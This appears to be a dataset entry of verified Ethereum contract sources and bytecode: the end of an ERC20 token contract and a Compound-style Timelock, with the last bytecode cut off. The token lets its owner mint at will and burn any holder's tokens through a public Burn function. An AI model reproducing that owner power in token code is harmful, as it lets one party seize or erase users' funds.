* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner{
_mint( account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function Burn(address account, uint256 amount) public onlyOwner {
_burn( account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610209578063cc16f5db1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806340c10f191461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610c8f565b60405180910390f35b610136610131366004610c66565b61030d565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610c2b565b610323565b6040516009815260200161011a565b610136610188366004610c66565b6103d9565b6101a061019b366004610c66565b610410565b005b61014a6101b0366004610bd8565b6001600160a01b031660009081526001602052604090205490565b6101a0610448565b6000546040516001600160a01b03909116815260200161011a565b61010d6104bc565b610136610204366004610c66565b6104cb565b610136610217366004610c66565b610566565b6101a061022a366004610c66565b610573565b61014a61023d366004610bf9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a0610276366004610bd8565b6105a7565b60606004805461028a90610d46565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610d46565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a338484610691565b50600192915050565b60006103308484846107b6565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610d2f565b610691565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610d17565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ce2565b610444828261098e565b5050565b6000546001600160a01b031633146104725760405162461bcd60e51b81526004016103b190610ce2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461028a90610d46565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561054d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61055c33856103c98685610d2f565b5060019392505050565b600061031a3384846107b6565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016103b190610ce2565b6104448282610a6d565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016103b190610ce2565b6001600160a01b0381166106365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166107545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6001600160a01b038316600090815260016020526040902054818110156108f45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b6108fe8282610d2f565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610934908490610d17565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098091815260200190565b60405180910390a350505050565b6001600160a01b0382166109e45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103b1565b80600360008282546109f69190610d17565b90915550506001600160a01b03821660009081526001602052604081208054839290610a23908490610d17565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b1565b6001600160a01b03821660009081526001602052604090205481811015610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103b1565b610b4b8282610d2f565b6001600160a01b03841660009081526001602052604081209190915560038054849290610b79908490610d2f565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016107a9565b80356001600160a01b0381168114610bd357600080fd5b919050565b600060208284031215610be9578081fd5b610bf282610bbc565b9392505050565b60008060408385031215610c0b578081fd5b610c1483610bbc565b9150610c2260208401610bbc565b90509250929050565b600080600060608486031215610c3f578081fd5b610c4884610bbc565b9250610c5660208501610bbc565b9150604084013590509250925092565b60008060408385031215610c78578182fd5b610c8183610bbc565b946020939093013593505050565b6000602080835283518082850152825b81811015610cbb57858101830151858201604001528201610c9f565b81811115610ccc5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d2a57610d2a610d81565b500190565b600082821015610d4157610d41610d81565b500390565b600181811c90821680610d5a57607f821691505b60208210811415610d7b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220e6acaa6c4ceecbe83f95288b7b63f03eb3262350cd6eea05d34d33f06cf8b6ce64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 5,993 |
0xc5d4678BA0b713d27BEF06DaF0079dea5b2Db584
|
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/Timelock.sol
// COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Ctrl+f for XXX to see all the modifications.
// This contract is initially administrated by the dev, but will be transferred to GovernorAlpha after the Soda tokens are sufficiently distributed and the community can show to govern itself.
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 1 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
bool public admin_initialized;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
admin_initialized = false;
}
// XXX: function() external payable { }
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
} else {
require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin.");
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100e15760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e21461077d578063e177246e146107a8578063f2b06537146107e3578063f851a44014610834576100e8565b80636fc1f57e146106fa5780637d645fab14610727578063b1b43ae514610752576100e8565b80633a66f901116100bb5780633a66f901146103445780634dd18bf5146104eb578063591fcdfe1461053c5780636a42b8f8146106cf576100e8565b80630825f38f146100ed5780630e18b681146102ec5780632678224714610303576100e8565b366100e857005b600080fd5b610271600480360360a081101561010357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561014a57600080fd5b82018360208201111561015c57600080fd5b8035906020019184600183028401116401000000008311171561017e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101e157600080fd5b8201836020820111156101f357600080fd5b8035906020019184600183028401116401000000008311171561021557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610875565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b1578082015181840152602081019050610296565b50505050905090810190601f1680156102de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f857600080fd5b50610301610ec0565b005b34801561030f57600080fd5b5061031861104d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035057600080fd5b506104d5600480360360a081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156103ae57600080fd5b8201836020820111156103c057600080fd5b803590602001918460018302840111640100000000831117156103e257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561044557600080fd5b82018360208201111561045757600080fd5b8035906020019184600183028401116401000000008311171561047957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611073565b6040518082815260200191505060405180910390f35b3480156104f757600080fd5b5061053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611423565b005b34801561054857600080fd5b506106cd600480360360a081101561055f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105a657600080fd5b8201836020820111156105b857600080fd5b803590602001918460018302840111640100000000831117156105da57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561063d57600080fd5b82018360208201111561064f57600080fd5b8035906020019184600183028401116401000000008311171561067157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061162a565b005b3480156106db57600080fd5b506106e461195e565b6040518082815260200191505060405180910390f35b34801561070657600080fd5b5061070f611964565b60405180821515815260200191505060405180910390f35b34801561073357600080fd5b5061073c611977565b6040518082815260200191505060405180910390f35b34801561075e57600080fd5b5061076761197e565b6040518082815260200191505060405180910390f35b34801561078957600080fd5b50610792611985565b6040518082815260200191505060405180910390f35b3480156107b457600080fd5b506107e1600480360360208110156107cb57600080fd5b810190808035906020019092919050505061198c565b005b3480156107ef57600080fd5b5061081c6004803603602081101561080657600080fd5b8101908080359060200190929190505050611b01565b60405180821515815260200191505060405180910390f35b34801561084057600080fd5b50610849611b21565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611bd66038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610991578082015181840152602081019050610976565b50505050905090810190601f1680156109be5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156109f75780820151818401526020810190506109dc565b50505050905090810190601f168015610a245780820380516001836020036101000a031916815260200191505b509750505050505050506040516020818303038152906040528051906020012090506004600082815260200190815260200160002060009054906101000a900460ff16610abc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611d64603d913960400191505060405180910390fd5b82610ac5611b45565b1015610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611c786045913960600191505060405180910390fd5b610b326212750084611b4d90919063ffffffff16565b610b3a611b45565b1115610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611c456033913960400191505060405180910390fd5b60006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055506060600086511415610bd157849050610c6d565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610c355780518252602082019150602081019050602083039250610c12565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610cbd5780518252602082019150602081019050602083039250610c9a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d1f576040519150601f19603f3d011682016040523d82523d6000602084013e610d24565b606091505b509150915081610d7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611e47603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e0c578082015181840152602081019050610df1565b50505050905090810190601f168015610e395780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610e72578082015181840152602081019050610e57565b50505050905090810190601f168015610e9f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611da16038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461111a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611e116036913960400191505060405180910390fd5b611136600254611128611b45565b611b4d90919063ffffffff16565b82101561118e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611e846049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156112045780820151818401526020810190506111e9565b50505050905090810190601f1680156112315780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561126a57808201518184015260208101905061124f565b50505050905090810190601f1680156112975780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611372578082015181840152602081019050611357565b50505050905090810190601f16801561139f5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156113d85780820151818401526020810190506113bd565b50505050905090810190601f1680156114055780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b600360009054906101000a900460ff16156114c1573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603881526020